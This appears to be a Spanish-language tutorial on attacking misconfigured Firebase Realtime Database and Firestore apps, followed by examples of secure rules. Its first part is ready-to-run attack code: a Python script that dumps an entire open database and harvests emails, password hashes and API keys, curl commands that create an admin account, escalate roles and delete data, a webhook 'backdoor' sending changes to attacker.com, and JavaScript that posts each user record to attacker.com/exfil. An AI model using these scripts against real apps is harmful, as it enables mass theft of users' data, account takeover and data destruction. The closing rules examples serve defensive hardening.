Firebase Realtime DB Misconfiguration

# 1. Decompile APK (Android)
apktool d app.apk
grep -r "firebaseio.com" app/

# 2. Inspeccionar JavaScript (Web Apps)
curl https://target-app.com | grep -o 'https://[^"]*firebaseio.com'

# 3. Burp Suite - Intercept traffic
# Buscar requests a *.firebaseio.com

# 4. Network tab en DevTools
# Filtrar por "firebaseio"

# Intentar leer datos sin autenticación
curl 'https://PROJECT-ID.firebaseio.com/.json'

# Si retorna datos JSON = VULNERABLE
# Si retorna "Permission denied" = Protegida

import requests
import json

FIREBASE_URL = "https://vulnerable-app.firebaseio.com"

def download_database():
    # Descargar TODA la base de datos
    response = requests.get(f"{FIREBASE_URL}/.json")
    
    if response.status_code == 200:
        data = response.json()
        
        # Guardar localmente
        with open('firebase_dump.json', 'w') as f:
            json.dump(data, f, indent=2)
        
        print(f"[+] Downloaded {len(json.dumps(data))} bytes")
        print(f"[+] Saved to firebase_dump.json")
        
        # Analizar datos sensibles
        analyze_sensitive_data(data)
    else:
        print("[-] Access denied or database not found")

def analyze_sensitive_data(data):
    # Buscar emails
    emails = find_in_dict(data, 'email')
    print(f"[+] Found {len(emails)} emails")
    
    # Buscar contraseñas
    passwords = find_in_dict(data, 'password')
    print(f"[+] Found {len(passwords)} password hashes")
    
    # Buscar API keys
    api_keys = find_in_dict(data, 'api_key')
    print(f"[+] Found {len(api_keys)} API keys")

def find_in_dict(data, key):
    results = []
    if isinstance(data, dict):
        for k, v in data.items():
            if k == key:
                results.append(v)
            results.extend(find_in_dict(v, key))
    elif isinstance(data, list):
        for item in data:
            results.extend(find_in_dict(item, key))
    return results

download_database()

# Crear usuario administrador
curl -X PUT \
  'https://vulnerable-app.firebaseio.com/users/hacker.json' \
  -d '{
    "email": "hacker@evil.com",
    "role": "admin",
    "verified": true
  }'

# Modificar datos existentes
curl -X PATCH \
  'https://vulnerable-app.firebaseio.com/users/user1.json' \
  -d '{"role": "admin"}'

# Eliminar datos
curl -X DELETE \
  'https://vulnerable-app.firebaseio.com/messages.json'

import requests

FIREBASE_URL = "https://vulnerable-app.firebaseio.com"
ATTACKER_WEBHOOK = "https://attacker.com/webhook"

# Crear regla de notificación que envíe todos los datos a atacante
backdoor = {
    "webhook_url": ATTACKER_WEBHOOK,
    "events": ["create", "update", "delete"],
    "active": True
}

response = requests.put(
    f"{FIREBASE_URL}/admin/webhooks/backup.json",
    json=backdoor
)

print("[+] Backdoor installed")
print("[+] All future changes will be sent to attacker webhook")

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // ❌ PELIGRO: Permite leer/escribir TODO
    match /{document=**} {
      allow read, write: if true;
    }
  }
}

// Necesitas el Firebase config (público en la app)
const firebaseConfig = {
  apiKey: "AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  projectId: "vulnerable-app",
  // ... otros campos
};

firebase.initializeApp(firebaseConfig);
const db = firebase.firestore();

// Leer colección de usuarios
async function dumpUsers() {
  const usersSnapshot = await db.collection('users').get();
  
  usersSnapshot.forEach(doc => {
    console.log(doc.id, '=>', doc.data());
    // Guardar en servidor atacante
    fetch('https://attacker.com/exfil', {
      method: 'POST',
      body: JSON.stringify({
        id: doc.id,
        data: doc.data()
      })
    });
  });
}

// Crear usuario admin
async function createAdmin() {
  await db.collection('users').doc('hacker').set({
    email: 'hacker@evil.com',
    role: 'admin',
    premium: true
  });
  console.log('[+] Admin user created');
}

dumpUsers();
createAdmin();

{
  "rules": {
    // Lectura pública solo de posts publicados
    "posts": {
      ".read": true,
      "$postId": {
        ".write": "auth != null && auth.uid == data.child('author_id').val()"
      }
    },
    
    // Usuarios solo pueden leer/escribir sus propios datos
    "users": {
      "$userId": {
        ".read": "auth != null && auth.uid == $userId",
        ".write": "auth != null && auth.uid == $userId",
        
        // Admin puede leer todo
        ".read": "root.child('admins').child(auth.uid).exists()",
        
        // Validar estructura de datos
        ".validate": "newData.hasChildren(['email', 'name'])"
      }
    },
    
    // Solo admins pueden escribir configuración
    "config": {
      ".read": true,
      ".write": "root.child('admins').child(auth.uid).exists()"
    }
  }
}

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    
    // Función helper para verificar admin
    function isAdmin() {
      return get(/databases/$(database)/documents/admins/$(request.auth.uid)).data.role == 'admin';
    }
    
    // Usuarios solo acceden a sus datos
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
      allow read: if isAdmin();
      
      // Validar estructura
      allow create: if request.resource.data.keys().hasAll(['email', 'name', 'createdAt'])
                    && request.resource.data.email is string
                    && request.resource.data.email.matches('.*@.*\\..*');
    }
    
    // Posts públicos de lectura, autenticados para escribir
    match /posts/{postId} {
      allow read: if resource.data.visibility == 'public';
      allow read: if request.auth != null && request.auth.uid == resource.data.authorId;
      allow create: if request.auth != null 
                    && request.resource.data.authorId == request.auth.uid;
      allow update, delete: if request.auth != null 
                            && request.auth.uid == resource.data.authorId;
    }
    
    // Admin only
    match /admin/{document=**} {
      allow read, write: if isAdmin();
    }
    
    // Por defecto: denegar todo
    match /{document=**} {
      allow read, write: if false;
    }
  }
}

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    
    // Archivos públicos (solo lectura)
    match /public/{allPaths=**} {
      allow read: if true;
      allow write: if false;
    }
    
    // Avatares de usuario
    match /avatars/{userId}/{fileName} {
      // Solo el owner puede leer/escribir
      allow read, write: if request.auth != null && request.auth.uid == userId;
      
      // Validar tipo de archivo
      allow write: if request.resource.contentType.matches('image/.*')
                   && request.resource.size < 5 * 1024 * 1024; // Max 5MB
    }
    
    // Documentos privados
    match /documents/{userId}/{document} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
      
      // Solo PDFs permitidos
      allow write: if request.resource.contentType == 'application/pdf';
    }
    
    // Por defecto: denegar todo
    match /{allPaths=**} {
      allow read, write: if false;
    }
  }
}